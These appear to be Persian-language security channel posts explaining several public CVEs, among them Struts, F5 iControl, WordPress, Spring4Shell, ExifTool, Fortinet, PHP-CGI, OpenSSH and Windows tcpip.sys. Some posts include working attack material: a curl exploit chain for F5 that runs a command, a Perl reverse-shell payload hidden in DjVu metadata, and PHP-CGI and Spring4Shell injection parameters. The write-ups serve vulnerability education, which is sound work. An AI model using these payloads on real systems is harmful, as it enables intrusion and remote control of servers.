#Apache Struts #RCE #CVE-2017-5638
در بسیاری از تست های بلک باکس محصولات وب بیس یک نقطه ضعف خود نمایی میکند, آن نقطه ضعف عدم پیلود ریزی پیشرفته بصورت هوشمند است, یعنی معمولا برای یک #RCE ما از پیلودهای پیشفرض استفاده میکنیم برای مثال بر روی آسیب پذیری که پردازش Content-Type رخ داده پیلود مورد نظر اول مقدار multipart/form-data ارسال میکنه تا به محل پردازشی این نوع داده برسه , در مرحله بعد یک متغیر با نام dm ساخته و بواسطه اون فراخوانی میشه

@ofnl.OgnlContext@DEFAULT_MEMBER_ACCESS

در این قسمت با استفاده از فریمورک OGNL در پلتفرم Struts 2 یک دسترسی کاربر شرط شده که اگر بود یک Context ایجاد شده و بواسطه اون متغیری با نام ognlUtil پروسه initial کردن خود رو پش برده تا به پارامتر cmd رسیده و دستور مورد نظر اینجا برای پارس شدن ارسال خواهد شد,

در ادامه پیلود با استفاده از

@java.lang.System@getProperty.(os.name)

اقدام به تشخیص سیستم عامل میکنه و طبق Result که دریافت میکنه میاد مشخص کنه که کدام یک از Syntax خط فرمان رو اجرا خواهد کرد,

https://commons.apache.org/proper/commons-ognl/
@Unk9vvN
#F5_iControl #REST Unauthenticated RCE (#SSRF) #CVE-2021-22986
باز هم سرویس های API این بار REST بر روی محصولات BIG-IP که یک آسیب پذیری در سطح Critical در نسخه 16.0x که میتواند منجر به اجرای کد بر روی سرور مربوطه شود، نوع آسیب پذیری SSRF بوده و کد بهره برداری زیر میباشد.

┌──(unk9vvn㉿avi)-[~]
└─$ token=`curl -i -k -s -X $'POST' -H "Host: $TARGET" -H $'Accept-Language: en' -H $'Authorization: Basic YWRtaW46' -H $'Content-Type: application/json' -H $'Content-Length: 109' -H $'Connection: close' -b $'BIGIPAuthCookie=1234' --data-binary $'{\"username\":\"admin\",\x0d\x0a\"userReference\":{},\x0d\x0a\"loginReference\":{\"link\":\"http://$TARGET/mgmt/shared/gossip\"}\x0d\x0a}' "http://$TARGET/mgmt/shared/authn/login" | grep "{" | jq .token.token| sed 's/"//g'`;echo $token;curl -s -H "X-F5-Auth-Token: $token" -H "Content-Type: application/json" "http://$TARGET/mgmt/tm/util/bash" -d '{"command":"run","utilCmdArgs":"-c id"}' | jq .commandResult

https://support.f5.com/csp/article/K03009991
@Unk9vvN
#SQLi in #Wordpress Core #CVE-2022-21661
هجده ساعت پیش یک آسیب پذیری SQL Injection یا تزریق کد SQL، برای هسته سیستم مدیریت محتوای Wordpress عمومی شد که در نسخه 5.8.2 قابلیت بهره برداری داشته و در نسخه جدید یعنی 5.8.3 وصله یا اصطلاحا Patch شده.

آسیب پذیری از اونجایی منشا میگیره که تابع clean_queryget_sql_for_clause زمانی که میخواد یک Append در خصوص ورودی Query خود انجام دهد، یکبار مقدار terms خود را به تابع clean_query پاس میدهد که وظیفه این تابع تصدیق میشود که مقدار terms در term_taxonomy_id قرار دارد یا خیر،

در ادامه مقدار پارامتر field در شرطی مقایسه میشه با مقدار متغییر resulting_field$ که اینجا شرط مربوطه آسیب پذیر هستش به Type Juggling که یک آسیب پذیری مبنی بر دور زدن نتیجه یک شرط است،

اما در ادامه مقدار پارامتر terms بصورت آرایه خوانده و در آرایه

$query['terms']

پارس داده میشود که عملا تزریق کد SQL در همینجا و در اثر نبود فیلترینگ صحیح ورودی پارامتر، رخ خواهد داد.

https://wordpress.org/news/2022/01/wordpress-5-8-3-security-release/
@Unk9vvN
#Spring4Shell #CVE-2022-22963
چند وقتی هستش که یک آسیب پذیری از Spring Framework منتشر شده که مبتنی بر Java 8 و بر بستر Tomcat میتوانه مورد بهره برداری قرار بگیره،

این آسیب پذیری مبتنی بر deserialization نا امن مقادیر String بوده و این عملکرد نا امن بر بستر PostMappning@ رخ خواهد داد و چون مقادیر دریافتی Request بصورت POJO یا Plain Old Java Object پارس میشه و با استفاده از Setter تنظیم میشه، میتوانه خطر آفرین باشه.

حال اگر مقدار پارامتر دریافتی که بصورت POJO پارس شده، فراخوان یک کلاس باشه، اینجا امکان پیاده سازی یک زنجیره فراخوانی و تنظیم میتونه اتفاق بی افته و مقادیر فراخوانی موجبات write یک payload در یک فایل jsp رو فراهم بکنه، برای مثال:

http://localhost/spring4shell?class.module.classLoader.resources.context.parent.pipeline.first.pattern=test

حالا در جریان ترسیم یک زنجیره حمله، اول میتونه یه پیلود RCE تنظیم بشه و در ادامه فایل فرمت jsp به عنوان suffix و همینطور یه directory و prefix که میبایست shell قرار بگیره و نهایتا مقدار fileDateFormat که میبایست خالی قرار بگیره...

POC
@Unk9vvN
#CVE-2021-22204 #VirusTotal #RCE
مثل اینکه سرویس آنلاین VirusTotal از ابزار Exiftool استفاده میکرده که برای این ابزار، در خصوص پارس فایل فرمت DjVu یک آسیب پذیری RCE با شناسه CVE-2021-22204 ثبت شده بوده که بدلیل بروز رسانی نکردن ابزار، بر روی سرور VirusTotal این وبسایت مورد نفوذ قرار گرفته است.

(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")

کاری که فایل بارگزاری شده انجام میدهد این است که ما یک تگ جدید روی فایل با نام HasselbladExif و بایت های 0xc51b بنویسیم تا آن را در فایل جدید خود شناسایی کنیم. سپس میتوانیم آن را در داخل هر فایلی قرار دهیم. در نهایت فایل آماده djvu, را با فایل فرمت دیگری مثل JPEG ترکیب میکنیم که اینبار بواسطه Exiftool انجام میشه.

$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg

https://www.cysrc.com/blog/virus-total-blog/
@Unk9vvN
#Frotigate #RCE #CVE-2024-21762
یکی از محصولات شرکت Fortinet که تولید کننده محصولات امنیت سایبری است، با نام FortiGate SSL VPN دارای یک آسیب پذیری باینری بوده که امکان اجرای کد از راه دور را میدهد.

نوع آسیب پذیری out-of-bounds write است به معنی نوشتن خارج از فرایند اجرای اصلی برنامه، که پیش از احراز امکان رخداد دارد.

مشکل در توابع Parser پروتکل HTTP است که بواسطه دریافت نوع داده مخرب، فرایند تخریب حافظه اتفاق می افتد، این نوع داده مخرب در Header با نام Chunked است که یک Transfer Encoding محسوب میشود، در توابع پارسر پروتکل.

یک حلقه while وجود دارد که در صورت تایید شرط مبنی بر کوچکتر بودن مقدار iVar3 از 1 ، param_1 مقدار دهی میشود و در مرحله بعد مقدار در تابع FUN_01707e10__ap_getline فراخوانی خواهد شد.

در انتهای مقدار Header کاراکتر های 0x0d و 0x0a را write میکند تا کاراکتر های CRLF را در لایه نرم افزار اعمال کند، اما با قرار دادن مقدار 0 برای طول کاراکتر chunked ، یک حلقه while اجرا میشود که مقدار param_1 را + 1 کرده و نهایتا در bVar2 میریزد.

@Unk9vvN
#FortiSIEM #CVE-2024-23108 2nd Order #Command_Injection
غول امنیت خود چند ماهی است قربانی متخصصین امنیت تهاجمی است. به تازگی آسیب پذیری 2nd Order Command Injection از سامانه FortiSIEM از خانواده محصولات شرکت Fortinet کشف شده است که امکان اجرای کد بصورت Unauthenticated را خواهد داد.

آسیب پذیری مطرح شده در Port 7900 بطور پیشفرض است که برای Phoenix Monitor Service است، این سرویس با Backend پایتون نوشته شده است و آسیب پذیری در آدرس زیر بوده است:

/opt/phoenix/deployment/jumpbox/datastore.py

آسیب پذیری در بخش تصدیق IP از Request دریافتی بوده که در صورت IPv6 بودن یک storeData_list مقدار nfs_ip گرفته و در آدرس زیر:

/opt/phoenix/deployment/jumpbox/datastore/nfs/test.py

یک تماس با تابع testMount__ یک تماس گرفته خواهد شد که در (rt_mount=os.system(MNT_CM را در سطح root اجرا میکند، ورودی دریافتی به این تابع یعنی MNT_CMD پیشتر از [storeObj['nfs_string'__ دریافت شده بوده است.

@Unk9vvN
#Argument_Injection RCE on PHP-CGI #CVE-2024-4577
اخیرا Orange Tsai یک آسیب پذیری کشف نموده، از PHP-CGI زبان PHP از نسخه 8.1 تا 8.3 را در XAMPP ویندوز تحت تاثیر قرار میدهد.

این آسیب پذیری در پیکربندی های PHP-CGI است در برنامه XAMPP، که مهاجم با ارسال یک فرمان اجرایی به پارامتر:

/cgi-bin/php-cgi.exe?d+allow_url_include=1+d+auto_prepend_file=php://input

و نقطه انتهایی php-cgi.exe که موجبات اجرای wrapper مربوط به php را فراهم نبوده و مهاجم میتواند کد سمت سرور را با روش POST ارسال کرده و اجرا کند.

نکته جالب این آسیب پذیری، Initialize کردن PHP-CGI برای مجاز کردن فرایند دریافت کد سمت سرور از URL را خود انجام داده و نهایتا با Wrapper مربوط به PHP اقدام به اجرای کد میکند.

https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
@Unk9vvN
#regreSSHion #OpenSSH #CVE-2024-6387
اخیرا برنامه OpenSSH که استفاده گسترده ای در پروتکل SSH دارد، دارای یک آسیب پذیری شرایط رقابتی یا Race Condition شده است.

این آسیب پذیری از نسخه 8.5p1 => 9.8p1 که در برابر signal handler آسیب پذیری Race Condition رخ خواهد داد، که به زبان ساده میشود اینکه در یک بازه زمانی مشخص، چندین Thread موازی تلاش میکنند در یک منطقه حافظه برخی فرایند خواندن و برخی فرایند نوشتن را انجام دهند.

اینجا تقدم و تأخر لحظه استفاده و لحظه چک بهم خواهد خورد و آسیب پذیری این امکان رو خواهد داد که شما از 200 درخواست یا Request ارسالی چند مورد رو به اشتباه مجوز تایید بگیرید.

خب حالا نحوه رخداد آسیب پذیری چطور بوده؟ این آسیب پذیری بر روی سیستم عامل های لینوکسی که از کتابخونه glibc بهره میگیرند، قابل بهره برداری است.

چرا که تابع syslog خود تابع async-signal-unsafe را فراخوانی میکند که این تابع از malloc و free برای تخصیص حافظه استفاده میکند که در منطقه سیستم است لذا سطح دسترسی نیز root خواهد بود، همچنین در تابع main_sigchld_handler شرط آسیب قرار دارد.

@Unk9vvN
#CVE-2024-38063 #Integer_Overflow on tcpip.sys
اخیرا آسیب پذیری ای ثبت شد در پروتکل TCP/IP که از نوع Integer Overflow و Integer Underflow بود به معنی سر ریز عددی یک ورودی عددی.

این آسیب پذیری در فرایند Fragmentation و Reassemble کردن تکه های بسته پروتکل IPv6 قرار داشت که محققین با بررسی این فرایند متوجه شدند در زمانی که ساختار بسته IPv6 تکه تکه میشوند، آخرین بسته با تاخیر 60 ثانیه ای تحویل Parser گیرنده داده میشود.

این تاخیر 60 ثانیه ای تابعی با نام Ipv6pReassemblyTimeout را فراخوانی کرده که این تابع بسته ها را drop میکند، همچنین به فیلد More میبایست مقدار 0 داشته باشد تا اعلام کند آخرین بسته است.

اینجا در تصویر Disassemble شده کد سی پلاس، اگر دقت کنید ثبات edx که یک اشاره گر به rdi+68h داخلش انتقال داده شده، در ادامه در نوع داده dx خودش که میشود 16 بیتی، مقادیر 8 و r15+8 اضافه میشود.

اینجا اگر مقدار packet_length برابر با 0xFFD0 باشد و بعد مقدار 8 بایت بهش اضافه شود، مقدار 0xFFD8 میشود، حالا اگر مقدار net_buffer_length بیشتر از 0x27 باشد، مثلا 39 بایت، اینجا ثبات DX سر ریز عددی خواهد کرد.

@Unk9vvN